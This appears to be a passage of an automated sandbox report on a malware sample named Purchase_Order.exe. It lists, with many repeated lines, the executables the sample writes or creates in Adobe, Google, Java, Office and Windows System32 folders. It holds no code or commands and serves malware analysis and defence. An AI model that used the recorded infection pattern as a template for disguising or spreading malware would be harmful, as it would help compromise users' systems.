Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\rmid.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Google\Chrome\Application\104.0.5112.81\chrome_pwa_launcher.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\ssvagent.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AdobeCollabSync.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Users\user\Downloads\ChromeSetup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\wow_helper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Google\Chrome\Application\104.0.5112.81\Installer\setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\vds.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\keytool.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\tnameserv.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\jp2launcher.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\Office Setup Controller\Setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\klist.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\MSOXMLED.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\snmptrap.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\Spectrum.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Windows Media Player\wmpnetwk.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\Locator.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleCrashHandler64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\AppVClient.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\SysWOW64\perfhost.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\msiexec.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\Oarpmany.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Google\Chrome\Application\104.0.5112.81\notification_helper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\64BitMAPIBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\DW\DWTRIG20.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\jabswitch.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\policytool.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\rmiregistry.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\TieringEngineService.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\ktab.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\FLTLDR.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\kinit.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateCore.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\AutoIt3\Au3Check.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\LICLUA.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\FullTrustNotifier.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\Source Engine\OSE.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\servertool.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\orbd.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\FXSSVC.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\SensorDataService.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\msdtc.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\arh.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Google\Chrome\Application\104.0.5112.81\Installer\chrmstp.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\wbem\WmiApSrv.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\jjs.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdate.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\MSOSQM.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Common Files\microsoft shared\OFFICE16\CMigrate.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\alg.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateOnDemand.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateSetup.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\unpack200.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javacpl.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroTextExtractor.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32Info.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\OLicenseHeartbeat.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\xbgmsvc.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java-rmi.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\javaws.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLED.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\wbengine.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\VSSVC.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Google\Chrome\Application\104.0.5112.81\elevation_service.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Eula.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\SearchIndexer.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleUpdateComRegisterShell64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaws.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\1.3.36.132\GoogleCrashHandler.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrServicesUpdater.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\CSISYNCCLIENT.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\AgentService.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\Smart Tag\SmartTagInstall.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\Office Setup Controller\ODeploy.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\110\SQLDumper.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\javaw.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\OpenSSH\ssh-agent.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\104.0.5112.81\chrome_installer.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\OFFICE16\CMigrate.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\pack200.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Program Files (x86)\Common Files\microsoft shared\DW\DW20.EXE Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\snmptrap.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\Spectrum.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\Locator.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\AgentService.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\VSSVC.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\wbengine.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\wbem\WmiApSrv.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\SearchIndexer.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\AppVClient.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\FXSSVC.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\xbgmsvc.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\TieringEngineService.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\vds.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\OpenSSH\ssh-agent.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\SysWOW64\perfhost.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\alg.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\msiexec.exe Jump to dropped file
Source: C:\Users\user\Desktop\Purchase_Order.exe File created: C:\Windows\System32\SensorDataService.exe Jump to dropped file
